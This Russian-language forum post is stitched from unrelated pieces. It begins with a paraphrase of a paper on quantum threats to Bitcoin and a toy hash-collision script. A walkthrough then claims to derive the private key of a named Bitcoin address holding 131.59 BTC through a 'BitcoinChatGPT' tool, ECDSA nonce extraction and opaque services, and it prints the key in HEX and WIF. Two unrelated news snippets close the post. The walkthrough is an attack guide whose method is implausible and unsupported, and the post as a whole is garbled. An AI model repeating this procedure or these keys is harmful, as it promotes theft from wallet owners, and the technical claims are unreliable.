известными квантовыми нижними границами. Для proof-of-work Momentum пусть h2 : {0, 1} ∗ → {0, 1} — другая хеш-функция с n ≤. В исходном предложении Momentum h1 может быть принята как SHA-256, а h2 как хеш-функция, интенсивно использующая память, но это менее важно для нашего обсуждения. Proof-of-work состоит в том, чтобы найти H, a, b такие, что h1(H k a k b) ≤ t и h2(H k a) = h2(H k b) и a, b ≤ 2 `. (1)Сначала давайте исследуем время выполнения для решения этого proof-of-work, предполагая, что хеш-функции h1, h2 могут быть оценены за единицу времени. Взяв подмножество S ⊂ {0, 1} и оценивая h2(H k a) для всех a ∈ S, мы ожидаем найти около |S| 2/2 многих коллизий. Заметим, что, используя соответствующую структуру данных, эти коллизии можно найти за время около |S|. Один из алгоритмов тогда выглядит следующим образом. Для каждого H мы оцениваем h2 на подмножестве S и находим около |S| 2/2 многих пар a, b таких, что h2(H k a) = h2(H k b). Для каждой коллизии мы затем проверяем h1(H k a k b) ≤ t. В ожидании нам придется выполнить этот второй тест 2n/t много раз. Таким образом, количество H, которые нам придется попробовать, составляет около m = max{1, 2 n+ t|S| 2 }, так как мы должны попробовать хотя бы один H. Поскольку для каждого H мы тратим время |S|, общее время выполнения составляет m|S|. Мы видим, что оно наименьшее, когда |S| = q 2 n+ t , то есть когда m = 1, и мы просто пробуем один H. Это оптимальное время выполнения тогда составляет T = q 2 n+ t , и для его достижения мы должны использовать память, равную времени выполнения, что может быть непомерно дорого. Для некоторой меньшей памяти |S| < q 2 n+ t время выполнения будет 2 n++1 t|S| .Теперь давайте посмотрим на время выполнения на квантовом компьютере. На квантовом компьютере мы можем сделать следующее. Назовем H хорошим, если существуют a, b ∈ S такие, что h1(H k a k b) ≤ t и h2(H k a) = h2(H k b). Проверка того, является ли H хорошим, требует поиска коллизии и, следовательно, требует, по крайней мере, |S| 2/3 времени согласно квантовой нижней границе запросов Ааронсона и Ши [AS04]. Обратите внимание, что эта нижняя граница является жесткой, так как поиск такой коллизии также может быть выполнен примерно за |S| 2/3 времени с использованием алгоритма различности элементов Амбаиниса [Amb07]. Выше мы утверждали, что для нахождения хотя бы одного хорошего H необходим набор размера m = max{1, 2 n+ t|S| }. Из оптимальности поиска Гровера [BBBV97] мы знаем, что мы должны выполнить не менее √ m многих тестов для нахождения хорошего H. Поскольку проверка того, является ли H хорошим, требует времени |S| 2/3 , общее время выполнения составляет не менее √ m|S| 2/3 . Поскольку классическое время выполнения составляет m|S|, мы видим, что в отличие от текущего proof-of-work в Bitcoin, с этим предложением квантовый компьютер не сможет достичь квадратичного преимущества, как только S станет больше константного размера. В частности, поскольку √ m|S| 2/3 также минимизируется, когда S = q 2 n+ t , время выполнения даже самого быстрого квантового алгоритма составляет не менее T 2/3 , что существенно больше, чем T 1/2 . Примеры: Momentum, Cuckoo Cycle, Equihash. Эти методы усложняют задачу для квантовых компьютеров. Основная идея в том, чтобы найти такое число (nonce), которое удовлетворяет определенным условиям. Эти условия связаны с поиском коллизий в хеш-функциях. Алгоритм Momentum, например, требует поиска двух разных значений, которые дают одинаковый результат при хешировании. В отличие от текущего proof-of-work в Биткоине, с такими альтернативными подходами квантовый компьютер не получает большого преимущества. Время, необходимое для решения задачи, увеличивается, что делает атаку менее выгодной. Поиск коллизий в хеш-функциях, особенно в контексте алгоритма Momentum (как это описано в теоретических работах о квантовой устойчивости PoW), обычно сводится к следующему: Определение хеш-функций: Необходимо определить те хеш-функции, в которых требуется найти коллизии (h1 и h2 в контексте Momentum PoW). В реальных системах это могут быть SHA256 или другие криптографические хеш-функции. Реализация поиска коллизий: Для поиска коллизий можно использовать различные методы, от простых (brute-force) до более сложных (например, birthday attack). Вот пример Python скрипта, демонстрирующий поиск коллизий «в лоб» для упрощенной хеш-функции (для демонстрационных целей, небезопасной): Python-скрипт: CollisionHunter.py import hashlib import random def simple_hash(data, modulus): """ Simplified hash function for demonstration. DO NOT USE IN PRODUCTION. """ data_bytes = str(data).encode('utf-8') # Convert to bytes hash_value = int(hashlib.sha256(data_bytes).hexdigest(), 16) % modulus return hash_value def find_collision(hash_function, modulus, max_attempts=100000): """ Finds a collision for a given hash function and modulus. """ seen_hashes = {} for i in range(max_attempts): data = random.randint(0, modulus * 10) # Generate random data hash_value = hash_function(data, modulus) if hash_value in seen_hashes: data1 = seen_hashes[hash_value] data2 = data print(f"Collision found: data1={data1}, data2={data2}, hash={hash_value}") return data1, data2, hash_value else: seen_hashes[hash_value] = data print("No collision found within the specified number of attempts.") return None # Example usage modulus = 256 # Size of the hash table (for example) collision = find_collision(simple_hash, modulus) if collision: data1, data2, hash_value = collision print(f"Data 1: {data1}, Data 2: {data2}, Hash: {hash_value}") Что делает этот скрипт: simple_hash(data, modulus): Упрощенная хеш-функция. Она берет SHA256 от данных, преобразует хеш в целое число и берет остаток от деления на modulus. Важно: Эта хеш-функция предназначена только для демонстрационных целей. Она не является криптографически безопасной. Не используйте ее в реальных приложениях. find_collision(hash_function, modulus, max_attempts=100000): Эта функция пытается найти коллизию для заданной хеш-функции. Она генерирует случайные данные, вычисляет их хеш и сохраняет в словаре seen_hashes. Если сгенерированный хеш уже есть в словаре, значит, мы нашли коллизию. В примере использования мы устанавливаем размер хеш-таблицы (modulus) равным 256 и запускаем поиск коллизий. Этот код ищет коллизии «в лоб», то есть просто перебирает случайные значения и проверяет, не было ли уже такого хеша. Этот метод работает только для очень простых хеш-функций с небольшим выходным диапазоном. Ключевые моменты и предупреждения: Небезопасность simple_hash: Хеш-функция simple_hash крайне уязвима для атак и не подходит для реальных криптографических задач. Она используется только для демонстрации принципа поиска коллизий. Сложность поиска коллизий: Поиск коллизий для криптографически стойких хеш-функций, таких как SHA256, является чрезвычайно сложной задачей. Прямой перебор (brute-force) невозможен из-за огромного размера выходного пространства хеш-функции. Birthday attack: Более эффективным методом поиска коллизий (по сравнению с полным перебором) является birthday attack. Этот метод основан на парадоксе дней рождения и позволяет найти коллизию примерно за sqrt(N) операций, где N — размер выходного пространства хеш-функции. Однако, даже для birthday attack, требуются огромные вычислительные ресурсы для SHA256. Алгоритм Momentum: Для реализации алгоритма Momentum потребовалось бы также реализовать h2 и логику проверки h1(H k a k b) ≤ t. Ресурсы для изучения: Изучите «Проблемы коллизий и методы их решения«, «Хэш-таблицы в Python: Как они работают и зачем нужны», «Список с хеш-коллизиями» и другие материалы, чтобы глубже понять проблему. Этот пример служит отправной точкой. Для более сложных сценариев (например, birthday attack или интеграции с Momentum) Постквантовых схемы подписи В научной литературе предложено множество схем цифровой подписи с открытым ключом, предположительно устойчивых к квантовым компьютерам. Примеры включают схемы на основе хеширования (LMS, XMSS, SPHINCS, NSW), схемы на основе кодов (CFS, QUARTZ), схемы на основе многомерных полиномов (RAINBOW) и схемы на основе решеток (GPV, LYU, BLISS, DILITHIUM, NTRU). Каждая из этих криптосистем обладает разной степенью эффективности. Сравнение размеров подписи и ключа представлено в таблице II (в оригинальном тексте).В контексте блокчейна наиболее важными параметрами схемы подписи являются длина подписи и открытого ключа, поскольку они должны где-то храниться для полной проверки транзакций, а также время проверки подписи. Судя по таблице II, с точки зрения суммы длин подписи и открытого ключа, единственными разумными вариантами являются схемы на основе хеширования и решеток. Схемы на основе хеширования, такие как XMSS, имеют преимущество в виде доказуемой безопасности, по крайней мере, если выбранная хеш-функция ведет себя как случайный оракул. Общая квантовая атака на эти схемы заключается в использовании алгоритма Гровера, что означает, что их квантовый уровень безопасности составляет половину классического уровня безопасности. Хотя схема на основе решеток BLISS имеет наименьшую сумму длин подписи и открытого ключа из всех схем в таблице II, есть несколько причин не выбирать BLISS на практике. Безопасность BLISS основана на сложности задачи NTRU и предположении, что решение этой задачи эквивалентно поиску короткого вектора в так называемой решетке NTRU. Недавно было показано, что это предположение может быть слишком оптимистичным, по крайней мере, для больших параметров. Более того, существует история атак на предыдущие схемы подписи на основе NTRU. Возможно, самое главное, BLISS трудно реализовать безопасным способом, поскольку она очень восприимчива к атакам по побочным каналам. Производственная реализация BLISS strongSwan была атакована таким образом Песслом и др., которые показали, что ключ подписи может быть восстановлен после наблюдения примерно за 6000 генерациями подписи. Хеш-функции: Этот способ хорош тем, что его безопасность можно доказать, но квантовые компьютеры могут немного ускорить взлом такого шифра. Решетки: Этот способ выглядит более перспективным с точки зрения защиты от квантовых компьютеров, но у него есть свои недостатки. Например, алгоритм BLISS, основанный на решетках, очень уязвим для атак, которые используют информацию о работе компьютера (например, энергопотребление) для кражи ключа. ТАБЛИЦА III. Алгоритмы вычисления ресурсов пространства и времени для квантовых атак. Входные данные pg, частота ошибок физического вентиля; nC, общее количество вентилей Клиффорда в логической схеме; nT, общее количество вентилей T в логической схеме; и nL, количество логических кубитов. Выходные данные τ, временные затраты в количестве тактов; и nQ = Qcircuit + Qfactory, количество физических кубитов, используемых для вычисления, включая дистилляцию состояния. Оценка накладных расходов на исправление ошибок при квантовой атаке Как рассчитываются коэффициенты накладных расходов для квантовой коррекции ошибок, чтобы получить оценки затрат ресурсов для квантовых атак на блокчейны и цифровые подписи. Метод основан на анализе, приведенном в работах [FMMC12, MDMG+16].Сначала определяются nT и nC — количество T-вентилей и вентилей Клиффорда, необходимых в алгоритме. Псевдокод для вычисления накладных расходов представлен в таблице III (в оригинальном тексте). Для атаки на блокчейн с nL = 2402 кубитами эти значения составляют nT = 297784 × π^2 / (14√(10) · D), nC = 29.4 × nT. Для атаки на цифровую подпись с nL = 2334 кубитами значения составляют nT = 1.28 × 10^11, nC = 20 × nT. Если заглянуть на несколько лет вперед, можно предположить правдоподобные улучшения в технологии квантовых компьютеров. Если предположить код квантовой коррекции ошибок, поддерживающий трансверсальные вентили Клиффорда и не-Клиффорда, так что нет замедления дистилляции, и что это делается без измерения, так что не требуется никакой классической обработки синдрома ошибок, то количество циклов, необходимых для одного вызова оракула, определяется исключительно глубиной схемы, которая составляет 2142094.Это основано на общей глубине схемы, рассчитанной следующим образом. Оракул вызывает два вызова хеш-функции SHA256, и это делается дважды: один раз для ее вычисления и один раз для ее отмены. Каждый хеш имеет обратимую глубину схемы 528768. Аналогично, используются два многоуправляемых фазовых вентиля: один для инверсии относительно среднего и один для вызова функции, каждый из которых имеет глубину схемы 13511, для общей глубины 4 × 528768 + 2 × 13511 = 2142094 (эти числа взяты из [SFL+13], но могут быть дополнительно оптимизированы).Тогда, принимая потенциальные накладные расходы в пространстве и количестве физических кубитов, но предполагая отсутствие временных затрат на коррекцию ошибок или дистилляцию неклиффордовых вентилей, это подразумевает улучшенную эффективную скорость хеширования hQC = 0.04 × s / √D, что существенно быстрее. Для сверхпроводящих схем возможны сверхбыстрые геометрические фазовые вентили при ∼ 50 ГГц, что в основном ограничено частотой микроволнового резонатора [RBW+12]. Используя вышеупомянутые очень оптимистичные предположения, при сложности D = 10^12 эффективная скорость хеширования составит hQC = 2.0 × 10^3 TH/s. Python-скрипт: QuBitWizard.py Python-скрипт: WaveMaster.py Python-скрипт: CirqQuantumCircuit.py Моделирование развития хешрейта и сложности сети биткоин Общее количество хешей в секунду во всей сети Биткоин берётся с blockchain.info. Данные на рисунке 5(a) представляют собой скорости хеширования на первое января (2012–2015 гг.) и первое января и июля (2016–2017 гг.). Две пунктирные кривые соответствуют оптимистичным и менее оптимистичным предположениям для экстраполяций. Оптимистичная экстраполяция предполагает, что текущий рост будет продолжаться экспоненциально в течение пяти лет, а затем перейдёт в линейный рост по мере насыщения рынка полностью оптимизированными ASIC-майнерами Биткоина. Менее оптимистичное предположение предполагает линейный рост с текущей скоростью. На основе экстраполяции хешрейта сети Биткоин можно определить сложность в зависимости от времени. Ожидаемое количество хешей, необходимых для нахождения блока за 10 минут (600 секунд), определяется как rate(t) * 600, где rate(t) — общая скорость хеширования, показанная на рисунке 5(a). Таким образом, сложность хеширования Биткоина рассчитывается как D(t) = rate(t) * 600 * 2^(-32) для двух сценариев, описанных выше. На рисунке 5(b) это сравнивается со значениями с blockchain.info на первое января 2015–2017 гг. Делают два прогноза: Оптимистичный: Хешрейт продолжит расти очень быстро, пока все не перейдут на самые современные майнеры. Менее оптимистичный: Хешрейт будет расти с той же скоростью, что и сейчас. Используя эти прогнозы, можно рассчитать, насколько сложнее станет майнить Биткоин в будущем. Сложность вычисляется на основе того, сколько хешей нужно сделать, чтобы найти новый блок1. Чем выше хешрейт, тем выше сложность. Моделирование развития квантовых компьютеров При моделировании необходимо учитывать несколько аспектов развития квантовых технологий. Поскольку на данном раннем этапе развития доступно лишь несколько точек данных, в наших оценках неизбежно присутствует большая неопределенность. Поэтому мы приводим две различные оценки: одну, оптимистичную по отношению к темпам развития, и другую, значительно более пессимистичную. Тем не менее, эти прогнозы следует рассматривать как очень приблизительную оценку, которая может потребовать адаптации в будущем. Во-первых, нам нужно сделать предположение о количестве кубитов, доступных в любой момент времени. Поскольку мы сосредотачиваемся только на твердотельных сверхпроводящих реализациях, доступно лишь несколько точек данных. Мы предполагаем, что количество доступных кубитов будет расти экспоненциально со временем в ближайшем будущем. Оптимистичное предположение состоит в том, что число будет удваиваться каждые 10 месяцев, тогда как менее оптимистичное предположение предполагает, что число удваивается каждые 20 месяцев. Эти две экстраполяции показаны на рисунке 6(a). Точки данных взяты из следующей таблицы: (таблица не приведена). Прогнозировать развитие квантовых компьютеров сложно, потому что у нас пока мало информации. Поэтому авторы статьи сделали два прогноза, которые отличаются друг от друга: Оптимистичный прогноз: Квантовые компьютеры будут развиваться очень быстро, и количество кубитов (основных «кирпичиков» квантовых вычислений) будет удваиваться каждые 10 месяцев. Пессимистичный прогноз: Развитие квантовых компьютеров будет идти медленнее, и количество кубитов будет удваиваться каждые 20 месяцев. Оба прогноза, скорее всего, не очень точные, но они помогают понять, как быстро могут развиваться квантовые компьютеры и когда они могут стать угрозой для существующих систем защиты информации Мы прогнозируем, что частота квантовых вентилей будет расти экспоненциально в течение следующих нескольких лет. Это предполагает, что классические схемы управления будут достаточно быстрыми, чтобы управлять квантовыми вентилями на этих частотах. Через пару лет рост значительно замедляется, поскольку для дальнейшего ускорения квантовых вентилей необходимы более быстрые классические схемы управления. Мы ограничиваем частоту квантовых вентилей на уровне 50 ГГц (для оптимистичного случая) или 5 ГГц (для менее оптимистичного случая), соответственно, главным образом потому, что ожидаем, что классические схемы управления не смогут управлять квантовыми вентилями на более высоких частотах. (См., например, [HHOI11] о прогрессе в этом направлении.) Это показано на рисунке 6(b). Точки данных взяты из следующей таблицы: (таблица не приведена). Прогноз: Сначала скорость работы квантовых компьютеров будет расти очень быстро, но потом рост замедлится. Ограничение: Авторы считают, что есть предел скорости, который сложно будет превысить, потому что для управления квантовыми компьютерами нужны очень быстрые «обычные» (классические) компьютеры. Если обычные компьютеры не смогут успевать, то и квантовые компьютеры не смогут работать быстрее. Оптимистичный прогноз предполагает, что скорость работы квантовых компьютеров достигнет 50 ГГц, а пессимистичный — только 5 ГГц. На рисунке 6 представлены прогнозы количества кубитов, частоты квантовых вентилей (в операциях вентилей в секунду) и неточности квантовых вентилей в зависимости от времени. Четвертый график моделирует снижение накладных расходов из-за теоретических достижений. Предсказанное развитие неточности вентилей показано на рисунке 6(c). Мы предполагаем, что неточность вентилей продолжит падать экспоненциально, но что это развитие остановится на неточности 5 · 10^-6 (оптимистичный случай) или 5 · 10^-5 (менее оптимистичный случай). Для оптимистичного случая мы ожидаем, что неточность вентилей продолжит следовать закону ДиВинченцо, который предсказывает уменьшение неточности в 2 раза в год. Данные взяты из следующей таблицы: (таблица не приведена). Это называется «неточность вентилей». Прогноз: Ожидается, что квантовые компьютеры будут становиться точнее, и количество ошибок будет уменьшаться. Ограничение: Но есть предел, после которого улучшить точность будет очень сложно. Оптимистичный прогноз предполагает, что неточность снизится до 5 на миллион, а пессимистичный — до 5 на 100 тысяч. Чем точнее работают кубиты, тем меньше нужно дополнительных ресурсов (кубитов и времени) для исправления ошибок. Наконец, мы предполагаем, что количество кубитов и временных шагов, требуемых любым алгоритмом, будет уменьшаться с течением времени по двум причинам. Во-первых, точность вентилей будет увеличиваться со временем и, таким образом, позволит использовать более эффективные отказоустойчивые схемы. Во-вторых, теоретические достижения позволят уменьшить количество кубитов и вентилей, необходимых для реализации алгоритма и отказоустойчивых схем. Мы ожидаем, что этот фактор будет overhead(t) = β^(t-2017), где β ∈ {0.75, 0.85} для оптимистичных и менее оптимистичных предположений, соответственно. Улучшение точности кубитов: Чем точнее работают кубиты, тем меньше нужно дополнительных усилий для исправления ошибок. Теоретические прорывы: Ученые будут разрабатывать новые алгоритмы и методы, которые позволят делать те же вычисления, используя меньше кубитов и операций. Чтобы оценить, насколько сильно уменьшатся требования к ресурсам, они вводят специальный коэффициент, который зависит от времени и от того, насколько оптимистично мы смотрим на будущее. Этот коэффициент показывает, во сколько раз можно будет сократить количество необходимых кубитов и времени. Процесс выявления критической уязвимости в транзакции ↩︎ Воспользуемся списком из “Dockeyhunt Deep Learning” широко применяемая категория искусственного интеллекта для введение бизнеса в различных сферах деятельности криптоанализа и крипографии в целом. Dockeyhunt Deep Learning Создания Raw транзакции с помощью процесса машинного обучение BitcoinChatGPT Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT. В качестве примера возьмем адрес Биткоин кошелька: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm на сумму: 131.59300888 BTC и получим HASH публичный ключ. Затем, используя BitcoinChatGPT, создадим уязвимость Raw транзакций, что позволит нам проанализировать и манипулировать данными подписи алгоритма ECDSA. Получим HASH публичный ключ используя Python-скрипт: wif_to_hash160.py Для реализации декодирования Base58 установим пакет: !pip3 install base58 import base58 def generate_response(input_text): input_ids = tokenizer.encode(input_text, return_tensors='pt').cpu() response_ids = model.generate(input_ids) response_text = tokenizer.decode(response_ids[:, input_ids.shape[-1]:][0], skip_special_tokens=True) return response_text def decode_base58(address): decoded = base58.b58decode(address) return decoded[1:-4] if __name__ == "__main__": address = input("Enter Bitcoin address: ") decoded_bytes = decode_base58(address) print("Bitcoin HASH160: ", decoded_bytes.hex()) Запустим BitcoinChatGPT %run BitcoinChatGPT How to create a vulnerable transaction in Bitcoin for the hashed version of the public key Bitcoin HASH160: e361516c3163a3d997d7b270c4378816a86343de State of a vulnerable transaction in Bitcoin: 01000000 ....01 ........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935 ............00000000 ........8b483045 ....0221 ...........00 ...........aafe80d17b0d30de09cbe39a85514aaae0a388135987ab80207e1eed3c915280 ....0220 ........0d46fb28a4b30599d33325aa8b7633dd0f584f8125bb2e136c88a3e91a6f4238 .....0141 .....04ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240c ....ffffffff 01 ....d204000000000000 ........1976 ............a914 ........e361516c3163a3d997d7b270c4378816a86343de ....88ac 00000000 В результате мы получаем уязвимую транзакцию RawTX как мы знаем в контексте блокчейна Биткоина относится к сырым данным транзакции, которые хранятся в блокчейне в форме двойного хеширования. Это означает, что RawTX проходит через алгоритм SHA256 дважды, чтобы получить хэш транзакции, который виден в блокчейне. Этот хэш известен как txid (идентификатор транзакции). 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100aafe80d17b0d30de09cbe39a85514aaae0a388135987ab80207e1eed3c91528002200d46fb28a4b30599d33325aa8b7633dd0f584f8125bb2e136c88a3e91a6f4238014104ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240cffffffff01d2040000000000001976a914e361516c3163a3d997d7b270c4378816a86343de88ac00000000 Процесс компрометации извлечения секретного ключа Nonce значение K Запустим BitcoinChatGPT %run BitcoinChatGPT How a vulnerable RawTX transaction in the Bitcoin blockchain can be compromised to extract the secret key Nonce value K using mathematical methods BLOCKCHAIN FOLBIT LEAKS Декодируем уязвимую RawTX транзакцию с помощью функции сервиса BLOCKCHAIN FOLBIT LEAKS Результат значение K секретного ключа Nonce в формате HEX K = 39588951cd20e38a6dc86d6b436da7abd2bcad84af3dd16b6f8a83c946c1d3c6 Для получение всех остальных значении из уязвимой RawTX транзакции воспользуемся сервисом RSZ Signature Decoder RSZ Signature Decoder Результат значении для R, S, Z в формате HEX R = aafe80d17b0d30de09cbe39a85514aaae0a388135987ab80207e1eed3c915280 S = 0d46fb28a4b30599d33325aa8b7633dd0f584f8125bb2e136c88a3e91a6f4238 Z = bbfd05c3355957cbdf44d283b9199eb9741f775a16081288187a82f544fac11f Для получение значении X приватного ключа из формулы: priv_key = ((((S * K) - Z) * modinv(R, N)) % N) воспользуемся программным обеспечением Dockeyhunt Private Key Calculator Dockeyhunt Private Key Calculator В результате мы получаем значение X приватный ключ в формате HEX X = 0x38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae Проверим полученный результат приватного ключа с помощью машинного обучения Запустим BitcoinChatGPT %run BitcoinChatGPT Apply the BLOCKCHAIN FOLBIT LEAKS function to extract the private key from a vulnerable RawTX transaction in the Bitcoin cryptocurrency https://github.com/demining/CryptoDeepTools/blob/main/38QuantumAttacks/KEYFOUND.privkey ============================= KEYFOUND.privkey ============================= Private Key HEX: 0x38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae Private Key WIF: 5JF9ME7zdGLDd3oyuMG7RfwgA1ByjZb2LbSwRMwM8ZKBADFLfCx Bitcoin Address: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm Balance: 131.59300888 BTC ============================= KEYFOUND.privkey ============================= Для реализации кода установим пакет Bitcoin. Эта библиотека позволяет создавать кошельки, взаимодействовать с блокчейном, создавать и подписывать транзакции, а также работать с различными форматами адресов и приватных ключей криптовалюты Биткоин. !pip3 install bitcoin __________________________________________________ Private Key WIF: 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae Bitcoin Address: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm total_received = 131.59300888 Bitcoin __________________________________________________ Все верно! Приватный ключ соответствует Биткоин Кошельку. Откроем bitaddress и проверим: ADDR: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm WIF: 5JF9ME7zdGLDd3oyuMG7RfwgA1ByjZb2LbSwRMwM8ZKBADFLfCx HEX: 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae Заключение и действия по снижению опасности. В этой статье мы изучили методы восстановления доступа к утерянным криптовалютным кошелькам и приватным ключам с помощью математических алгоритмов, таких как решение дискретного логарифма и проблема скрытых чисел, а также утечки данных BLOCKCHAIN FOLBIT LEAKS. Мы продемонстрировали, как использовать программное обеспечение для извлечения приватных ключей из уязвимых транзакций, что показало, что даже в безопасных системах, таких как Bitcoin, существуют уязвимости, которые можно использовать для восстановления доступа к потерянным средствам. Для защиты от угроз, связанных с уязвимостью RawTX транзакции криптовалюты Биткоин, пользователям необходимо предпринять следующие шаги: Обновление программного обеспечения: Регулярное обновление криптовалютных кошельков до версий, устраняющих уязвимости, критически важно для обеспечения безопасности. Улучшение механизмов проверки подписей: Усиленная валидация входных данных и обработка ошибок помогут предотвратить создание поддельных подписей и защитить приватные ключи пользователей. Мониторинг сетевой активности: Постоянный анализ состояния сети и выявление подозрительных транзакций на ранних этапах позволяют оперативно реагировать на попытки эксплуатации уязвимостей. Применение многофакторной аутентификации: Внедрение дополнительных криптографических методов защиты значительно повысит безопасность. Уязвимость RawTX в транзакциях Bitcoin создает серьезную угрозу для безопасности криптовалютных операций и целостности блокчейна. Чтобы снизить риски, пользователям необходимо регулярно обновлять программное обеспечение, внедрять строгие меры безопасности и осуществлять постоянный контроль над состоянием сети. Эти действия будут способствовать поддержанию безопасности и стабильности криптовалютных систем, защищая пользователей от потенциальных атак и финансовых потерь. Наше исследование показывает значимость математического анализа в криптовалютах и демонстрирует потенциал использования сложных математических методов для решения практических задач в криптоанализе. Однако эти методы могут быть применены как для восстановления доступа к утерянным средствам, так и для использования уязвимостей, что подчеркивает необходимость усиления безопасности криптовалютных систем. References: Analyzing Quantum Vulnerabilities: The Insecurity of Classical Proof Systems in Quantum Contexts Enhancing Security: The Impact of Iteration on Quantum Attacks Against Block Ciphers Assessing Quantum Threats to Bitcoin: Risks and Protective Strategies for Cryptocurrencies Quantum Threats to Pseudorandom Generators: Analyzing Attacks on the Blum-Micali Generator Advancing Quantum Collision Attacks: Analyzing SHA-256 and SHA-512 Vulnerabilities Exploring Quantum Vulnerabilities: Attacks on Beyond-Birthday-Bound MAC’s Enhancing Quantum Cybersecurity: Advanced Variational Attacks on Cryptographic Protocols Exploring Practical Quantum Cryptography: Capabilities, Implementations, and Attack Vulnerabilities Navigating the Shift to Quantum Resistance: Preparing for the Future of Cryptography Securing the Quantum Age: Exploring Quantum-Resistant Cryptographic Protocols Quantum-Resistant Code-Based Cryptosystem: A Novel Approach Using Repetition of Error-Correcting Codes Assessing Electromagnetic Side-Channel Attack Risks in Quantum Key Distribution Receivers Using Multi-Class Classification Managing Cryptographic and Quantum Risks: A Practical Guide for Organizations Enhancing Cloud Security: Quantum Cryptography Algorithms for Robust Data Storage and Processing Transitioning to Quantum-Safe Cryptography on IBM Z: A Guide for Secure Data Protection Post-Quantum Attacks on Symmetric-Key Cryptography: Analyzing Vulnerabilities and Defense Strategies Report on Post-Quantum Cryptography: NIST’s Strategies for Securing Digital Communications Against Quantum Threats Quantum Computing and Cybersecurity: Navigating Emerging Threats and Mitigation Strategies Revolutionizing Currency: The Concept and Development of Quantum Money Post-Quantum Cryptography: Preparing for Quantum Threats and Securing the Future of Encryption Ensuring Digital Sovereignty: The Critical Role of Cryptographic Security in Europe Preparing for the Quantum Threat: Safeguarding Sensitive Information Against Future Risks Defending Quantum Private Communication: Strategies Against Trojan Horse Attacks Bitcoin’s Quantum Resistance: A Commit-Delay-Reveal Protocol for Secure Transition Project Leap: Safeguarding the Financial System in the Quantum Era Quantum Threats to Bitcoin: Vulnerabilities and Mitigation Strategies Navigating the Quantum Frontier: Understanding Quantum Computing and the Rise of Post-Quantum Cryptography Quantum Origin: Revolutionizing Cryptographic Key Generation with Verifiable Quantum Randomness Developing Quantum-Resistant Cryptography: Encryption for a Post-Quantum World Quantum-Safe Cryptography: Addressing the Challenges and Opportunities in a Quantum Computing Era The Quantum Computing Revolution: Implications for Modern Cryptographic Security Private-Key & Public-Key Cryptography in the Quantum Era: Security Risks and Future Strategies The Quantum Risk Paradox: Why the Threat Is Already Here (Quantum Threat Timeline) Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Google Colab BitcoinChatGPT Blockchain Folbit Leaks Dockeyhunt Deep Learning Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/p62orC7WDUE Video tutorial: https://dzen.ru/video/watch/67c3e91abbfa683a745a0aea Источник: https://cryptodeeptool.ru/quantum-attacks-on-bitcoin Криптоанализ
  8. Юридическая представители Дональда Трампа подали в Бюро по патентам и товарным знакам США (USPTO) заявку на регистрацию товарного знака для метавселенной под брендом TRUMP. В документе, подготовленном адвокатом Дональда Трампа Майклом Сантуччи (Michael Santucci), уточняется, что в виртуальном мире TRUMP планируется предоставлять широкий спектр услуг. Среди них онлайн-магазины, где можно будет приобрести от предметов первой необходимости, бижутерии и напитков, до цифровой мебели и предметов роскоши. Кроме того, в метавселенной будут доступны интернет-рестораны, музыкальные площадки и другие формы виртуальных развлечений. Помимо этого, пользователям метавселенной TRUMP предложат «услуги обучения на основе симуляции». В рамках этих программ можно будет изучать такие темы, как государственная служба, бизнес, гражданское право, фандрайзинг, управление недвижимостью, строительство и гостиничный сервис. Также пользователи смогут покупать и обмениваться токенизированными изображениями, текстами, видео- и аудиофайлами, связанными с личностью 45-го и 47-го президента США. Ранее Эрик Трамп (Eric Trump), исполнительный вице-президент Trump Organization и сын президента Дональда Трампа заявил о планах новой администрации Белого дома отменить налог на прирост капитала для зарегистрированных в США участников крипторынка, таких как Ripple, Hedera Hashgraph, Algorand или Cardano. Подробнее: https://www.bits.media/donald-tramp-podal-zayavku-na-registratsiyu-tovarnogo-znaka-dlya-metavselennoy-trump/
  9. В криптографии существуют концепции, которые призваны повысить конфиденциальность и снизить необходимость доверия при взаимодействии с другой стороной. Одной из, пожалуй, наиболее интересных концепций выступает Zero-Knowledge Proof или доказательство с нулевым разглашением. Представьте такую ситуацию: вам нужно сообщить другому человеку о том, что вы знаете определенную информацию, но при этом вы не хотите эту информацию разглашать. Иными словами, другой человек должен убедиться, в вашей осведомленности, не получая при этом самих данных. На первый взгляд может показаться, что это неразрешимая ситуация, но на самом деле все не так. В криптографии доказательством с нулевым разглашением (Zero-Knowledge Proof или ZKP) обычно называют некий протокол, который позволяет одной стороне (доказывающему) подтвердить наличие определенной информации другой стороне (проверяющему). При этом содержание информации остается скрытым от проверяющего. Подробнее: https://bits.media/zero-knowledge-proof-kak-rabotaet-dokazatelstvo-s-nulevym-razglasheniem/
